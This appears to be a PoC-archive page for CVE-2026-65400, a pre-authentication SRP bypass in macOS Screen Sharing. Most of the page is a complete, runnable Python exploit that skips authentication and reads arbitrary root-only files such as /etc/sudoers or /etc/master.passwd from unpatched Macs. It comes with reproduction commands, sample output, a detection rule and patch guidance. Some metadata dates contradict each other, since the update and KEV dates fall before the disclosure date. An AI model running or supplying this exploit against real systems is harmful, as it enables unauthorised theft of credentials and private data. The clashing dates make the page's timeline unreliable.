PoC Archive PoC Archive
CVE-2026-65400 category: network CVSS 9.8 (CRITICAL) KEV
Unverified

macOS Screen Sharing Pre-Auth SRP Bypass and Root File Read (CVE-2026-65400)

Published: 2026-11-27 • Researcher: Francisco Correa (GitHub panchocosil); original pre-auth bug by Pedro Vilaca (fG!); wire format and exploitation by bl4sty; Apple Product Security

Target software Apple macOS screensharingd (Screen Sharing / Apple Remote Management)
Affected versions NVD ranges: 14.0 to before 14.8.9 (Sonoma), 15.0 to before 15.7.9 (Sequoia), 26.0 to before 26.6.1 (Tahoe). Fixed in 14.8.9, 15.7.9, 26.6.1, and also 26.7 and Golden Gate 27.
Status PoC (working read-only root file-read primitive; write and RCE chain not implemented)
Severity Critical · CVSS 9.8
CVSS 9.8/10

Exploitation signals

KEV

Confirmed exploited in the wild. Added to CISA KEV 2026-08-18. Federal remediation deadline 2026-08-21.

EPSS 1.7% · 78th percentile

Severity
Critical
CVE
CVE-2026-65400
Category
network
Affected product
Apple macOS screensharingd (Screen Sharing / Apple Remote Management)
Affected versions
NVD ranges: 14.0 to before 14.8.9 (Sonoma), 15.0 to before 15.7.9 (Sequoia), 26.0 to before 26.6.1 (Tahoe). Fixed in 14.8.9, 15.7.9, 26.6.1, and also 26.7 and Golden Gate 27.
Disclosed
2026-11-27
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-08-21
Author / ResearcherFrancisco Correa (GitHub panchocosil); original pre-auth bug by Pedro Vilaca (fG!); wire format and exploitation by bl4sty; Apple Product Security
CVE / AdvisoryCVE-2026-65400
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSSv3.1, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, NVD)
StatusPoC (working read-only root file-read primitive; write and RCE chain not implemented)
Tagsapple, macos, screensharingd, screen-sharing, remote-management, auth-bypass, CWE-287, pre-auth, file-read, cisa-kev
RelatedN/A

Affected Target

FieldValue
Software / SystemApple macOS screensharingd (Screen Sharing / Apple Remote Management)
Versions AffectedNVD ranges: 14.0 to before 14.8.9 (Sonoma), 15.0 to before 15.7.9 (Sequoia), 26.0 to before 26.6.1 (Tahoe). Fixed in 14.8.9, 15.7.9, 26.6.1, and also 26.7 and Golden Gate 27.
Language / PlatformPython 3 standard library only; macOS host with Screen Sharing or Remote Management enabled; RFB over TCP 5900
Authentication RequiredNo (pre-authentication)
Network Access RequiredYes (TCP 5900 reachable from the attacker)

Summary

CVE-2026-65400 is a pre-authentication authentication bypass in macOS Screen Sharing. The screensharingd SRP authentication state machine accepts a crafted frame-length value and marks the connection authenticated before any credential has been verified. Once past that gate, the session continues in cleartext and the privileged file-copy helpers run with Full Disk Access, so the attacker can read files that only root should be able to read. The supplied PoC is deliberately read-only: it demonstrates the bypass by retrieving a root-only file such as /etc/sudoers, without writing to the target.

Vulnerability Details

Root Cause

screensharingd uses SRP for its native authentication. Its frame-length validator returns a stale success status, so a connection can be treated as authenticated before the credential exchange completes. Apple described the fix as improved state management, which matches the analysis: the cryptography was not broken, the state machine around it was. After the bypass the session proceeds in cleartext, and the SSFileCopySender and SSFileCopyReceiver helpers hold Full Disk Access, bypassing TCC for file operations.

Attack Vector

An unauthenticated attacker connects to TCP 5900 and completes the RFB version handshake. If the server offers security type 36 (SRP), the client sends a one-byte SRP selection, a crafted SRP step-1 frame with username root, and a 24488-byte blob whose declared frame length is poisoned. The oversized, malformed frame derails the daemon’s length handling so that SecurityResult is returned as zero without a password. The client then receives ServerInit and collects the file data returned by the file-copy channel, requesting a path such as /etc/sudoers. The bug is heap-racy, so the PoC retries; the daemon also throttles repeat attempts.

Impact

An unauthenticated network attacker can read arbitrary files as root from a Mac with Screen Sharing enabled, including password hashes, sudoers, keychains, configuration, and user data, bypassing TCC and normal file permissions. The upstream research notes that the same primitive supports arbitrary write and a LaunchDaemon-based RCE chain, and that the vulnerability is exploited in the wild, including for SSH key persistence and XMRig deployment. The archived PoC intentionally stops at read.

Environment / Lab Setup

Output
OS:          macOS target (author validated on macOS Tahoe 26.5.2, unpatched)
Target:      macOS with System Settings > General > Sharing > Screen Sharing enabled
             (or Remote Management), TCP 5900 reachable from the operator
Attacker:    Any host with Python 3 and network access to the target
Tools:       python3 (standard library only), no third-party packages

Setup Steps

Shell script
1
2
3
python3 poc_screensharing.py --help

nc -vz <target-ip> 5900

Proof of Concept

Step-by-Step Reproduction

  1. Verify reachability — connect to the RFB service and confirm it offers SRP security type 36.

    Shell script
    1
    
    nc -vz <target-ip> 5900
  2. Run the read-only PoC — it performs the SRP selection, sends the poisoned frame, and reads /etc/sudoers once authenticated.

    Shell script
    1
    
    python3 poc_screensharing.py <target-ip>
  3. Choose another root-only file — any path readable by root can be requested.

    Shell script
    1
    
    python3 poc_screensharing.py <target-ip> /etc/master.passwd
  4. Increase retries if needed — the bug is heap-racy; the daemon throttles aggressive retries, so wait about a minute between bursts.

    Shell script
    1
    
    python3 poc_screensharing.py <target-ip> -r 50 -t 8

Exploit Code

See poc_screensharing.py for the complete client, including the RFB handshake, SRP step-1 frame, poisoned length blob, and file-data collection.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
s.sendall(b"RFB 003.889\n")
n = recv_exact(s, 1)[0]
tipos = list(recv_exact(s, n))
if 36 not in tipos:
    return None, "no ofrece SRP (36)"
s.sendall(bytes([0x24]))                     # security type 36
step1 = struct.pack(">III", nu + 11, nu + 7, nu) + user.encode()
s.sendall(step1 + build_read_blob(path))     # 24488-byte blob, poisoned length
res = struct.unpack(">I", recv_exact(s, 4))[0]
if res != 0:
    return None, "SecurityResult=%d (parcheado / no vulnerable)" % res

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
[*] objetivo 192.0.2.10:5900  fichero /etc/sudoers
[+] DENTRO sin credenciales — 1512x982 "MacBook Pro"
[+] leidos 1564 bytes de /etc/sudoers
[+] sha256: 1f2c...e9
------------------------------------------------------------
##
## User privilege specification
##
root ALL=(ALL) ALL
%admin ALL=(ALL) ALL
------------------------------------------------------------

Detection & Indicators of Compromise

Output
authentication_type: SRP without an RSA component   # legitimate sessions report RSA-SRP
session username: root                              # disabled by default on macOS

SSFileCopySender running with UID/GID 0 80
_LOOKUP / _OPEN / _STAT / _CLOSE operations against system paths

Repeated TCP 5900 connections that complete the RFB handshake but never authenticate normally

SIEM / IDS Rule (example):

Output
alert tcp any any -> any 5900 (msg:"Possible CVE-2026-65400 macOS Screen Sharing pre-auth SRP bypass"; \
  content:"RFB 003."; depth:8; \
  flow:to_server,established; sid:90654001;)

Remediation

ActionDetail
PatchUpgrade macOS to 14.8.9, 15.7.9, or 26.6.1 (or the later 26.7 / 27 releases). This is the only real fix.
WorkaroundDisable Screen Sharing and Remote Management entirely if the appliance cannot be patched.
Config HardeningNever expose TCP 5900 to the internet; restrict it to a management VLAN or VPN; rotating passwords or removing accounts does not help because the bypass occurs before authentication.

References

Notes

Auto-prepared 2026-11-27 from the watchlist record. Review verdict: genuine, non-malicious reproduction research. The repository contains a runnable client that performs the actual pre-auth SRP bypass and reads a root-only file from the target; it writes nothing to the host and does not implement the write or RCE path. License: MIT (upstream-LICENSE.txt retained). Limitations: the bug is heap-racy and the daemon throttles, so it may require repeated attempts; the archived client is read-only by design; the README’s evidence screenshot (img/poc-run.png) was not copied; the author tested against a Mac they own and the research credits belong to fG! and bl4sty. No exploit code was executed during archive preparation.

poc_screensharing.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
poc_screensharing.py  —  CVE-2026-65400 (Apple Screen Sharing pre-auth)
=======================================================================

Prueba de concepto MINIMA y de SOLO LECTURA. Salta la autenticacion de
`screensharingd` y lee un fichero que normalmente solo root puede leer, para
DEMOSTRAR el acceso. NO escribe nada en el objetivo: ni crontab, ni shell, ni
ficheros.

Solo biblioteca estandar. Corre en cualquier Python 3.

  Uso:
    python3 poc_screensharing.py <IP>
    python3 poc_screensharing.py <IP> /etc/sudoers
    python3 poc_screensharing.py <IP> /etc/master.passwd --retries 30

  Ejemplos (tu Mac):
    python3 poc_screensharing.py 192.168.0.8
    python3 poc_screensharing.py 127.0.0.1          # desde el propio Mac

Afecta a macOS < 26.6.1 / < 15.7.9 / < 14.8.9 con Screen Sharing activado.
Parche: actualizar. Usalo solo contra equipos que sean tuyos o tengas permiso.

Tecnica y wire format: bl4sty (navi_the_clown). Bug original: fG! (@osxreverser).

El bug es RACY (depende del heap): no cuela en cada intento, por eso se
reintenta. Y el daemon THROTTLEA si lo aporreas: si falla mucho, espera ~1 min
y reintenta. Si el equipo esta parcheado, nunca entra (y se dice).
"""
import argparse
import hashlib
import socket
import struct
import sys
import time

TRIGGER   = 0x00045FA6                                   # be32 con bit 18 puesto
BIG_LEN   = 24488                                        # tamano del blob
FILLER    = bytes([0x05, 0x00, 0x00, 0x80, 0x00, 0x80])  # PointerEvent de relleno


def recv_exact(sock, n):
    buf = b""
    while len(buf) < n:
        t = sock.recv(n - len(buf))
        if not t:
            raise ConnectionError("el servidor cerro a media respuesta")
        buf += t
    return buf


def build_read_blob(path):
    """Blob de 24488 B: pide una LECTURA (StartFileSend) y dispara el bug."""
    p = path.encode("utf-8")
    msg = bytearray(24 + len(p))
    msg[0] = 0x22; msg[1] = 0x02
    struct.pack_into(">I", msg, 2, len(p) + 18)
    struct.pack_into(">HH", msg, 6, 1, 1)                # ver=1, kind=1 (leer)
    struct.pack_into(">III", msg, 10, 2, 1, 4)
    struct.pack_into(">H", msg, 22, len(p))
    msg[24:] = p

    total = max(5 + len(msg) + 6, BIG_LEN)
    buf = bytearray(total)
    declared = total - 2
    if declared < 0x8000:
        declared |= 0x00040000
    struct.pack_into(">I", buf, 0, declared)            # longitud envenenada
    buf[5:5 + len(msg)] = msg                           # +4 = 0x00 ClientInit
    off = 5 + len(msg)
    while off + 6 <= total:
        buf[off:off + 6] = FILLER
        off += 6
    return bytes(buf)


def read_msg(sock):
    hdr = recv_exact(sock, 6)
    if hdr[0] != 0x22:
        raise ConnectionError("mensaje inesperado %#x" % hdr[0])
    L = struct.unpack(">I", hdr[2:6])[0]
    if L < 12 or L > (1 << 24):
        raise ConnectionError("frame de longitud rara (%d)" % L)
    body = recv_exact(sock, L)
    _, kind = struct.unpack(">HH", body[0:4])
    return kind, body[12:]


def intento(ip, port, user, path, timeout):
    """Un intento. Devuelve (datos|None, motivo)."""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    try:
        s.connect((ip, port))
        ver = recv_exact(s, 12)
        if not ver.startswith(b"RFB "):
            return None, "no habla RFB (%r)" % ver[:12]
        s.sendall(b"RFB 003.889\n")
        n = recv_exact(s, 1)[0]
        if n == 0:
            elen = struct.unpack(">I", recv_exact(s, 4))[0]
            return None, "rechazo: %s" % recv_exact(s, elen).decode("utf-8", "replace")
        tipos = list(recv_exact(s, n))
        if 36 not in tipos:
            return None, "no ofrece SRP (36): tipos %s (no es el objetivo)" % tipos
        s.sendall(bytes([0x24]))                        # tipo 36, 1 byte
        # "SRP step-1" (solo un usuario enmarcado) + el blob, TODO junto:
        u = user.encode()
        nu = len(u)
        step1 = bytearray(nu + 15)
        struct.pack_into(">III", step1, 0, nu + 11, nu + 7, nu)
        step1[12:12 + nu] = u
        s.sendall(bytes(step1) + build_read_blob(path))
        # Si el bug cuela: challenge (restos) + SecurityResult=0 + ServerInit
        cl = struct.unpack(">I", recv_exact(s, 4))[0]
        recv_exact(s, cl)
        res = struct.unpack(">I", recv_exact(s, 4))[0]
        if res != 0:
            return None, "SecurityResult=%d (parcheado / no vulnerable)" % res
        w, h = struct.unpack(">HH", recv_exact(s, 4))
        recv_exact(s, 16)
        nl = struct.unpack(">I", recv_exact(s, 4))[0]
        nombre = recv_exact(s, nl).decode("utf-8", "replace")
        # Ya autenticados como root, sin contrasena. Recoger el fichero:
        datos = bytearray()
        t0 = time.time()
        while time.time() - t0 < timeout * 2:
            kind, payload = read_msg(s)
            if kind == 102:                            # DATA
                datos.extend(payload)
            elif kind == 104:                          # END
                break
        return bytes(datos), "%dx%d \"%s\"" % (w, h, nombre)
    except (ConnectionError, socket.timeout, OSError) as e:
        return None, "%s: %s" % (type(e).__name__, e)
    finally:
        s.close()


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-65400 PoC (solo lectura)")
    ap.add_argument("ip")
    ap.add_argument("path", nargs="?", default="/etc/sudoers",
                    help="fichero a leer (por defecto /etc/sudoers, root-only)")
    ap.add_argument("-p", "--port", type=int, default=5900)
    ap.add_argument("-u", "--user", default="root", help="usuario para el step-1")
    ap.add_argument("-r", "--retries", type=int, default=25,
                    help="el bug es racy: reintentos (por defecto 25)")
    ap.add_argument("-t", "--timeout", type=float, default=8.0)
    a = ap.parse_args()

    # Tolerante al orden: si la "ip" empieza por "/" es en realidad la ruta, y
    # se intercambian. Asi da igual poner antes la IP o el fichero.
    if a.ip.startswith("/") and not a.path.startswith("/"):
        a.ip, a.path = a.path, a.ip

    print("[*] objetivo %s:%d  fichero %s" % (a.ip, a.port, a.path))
    ultimo = ""
    for i in range(1, a.retries + 1):
        datos, motivo = intento(a.ip, a.port, a.user, a.path, a.timeout)
        if datos is not None:
            print("\r[+] DENTRO sin credenciales — %s%s" % (motivo, " " * 20))
            print("[+] leidos %d bytes de %s" % (len(datos), a.path))
            print("[+] sha256: %s" % hashlib.sha256(datos).hexdigest())
            print("-" * 60)
            sys.stdout.buffer.write(datos)
            if datos and datos[-1:] != b"\n":
                print()
            print("-" * 60)
            return 0
        # parcheado: no tiene sentido insistir
        if "SecurityResult=" in motivo or "no ofrece SRP" in motivo:
            print("\r[-] %s%s" % (motivo, " " * 20))
            return 1
        ultimo = motivo
        print("\r[*] intento %d/%d  %-40s" % (i, a.retries, motivo[:40]),
              end="", file=sys.stderr, flush=True)
        time.sleep(0.4)
    print("\r[-] no entro en %d intentos. Ultimo: %s" % (a.retries, ultimo))
    print("    (racy: prueba de nuevo; si el daemon throttlea, espera ~1 min)")
    return 1


if __name__ == "__main__":
    sys.exit(main())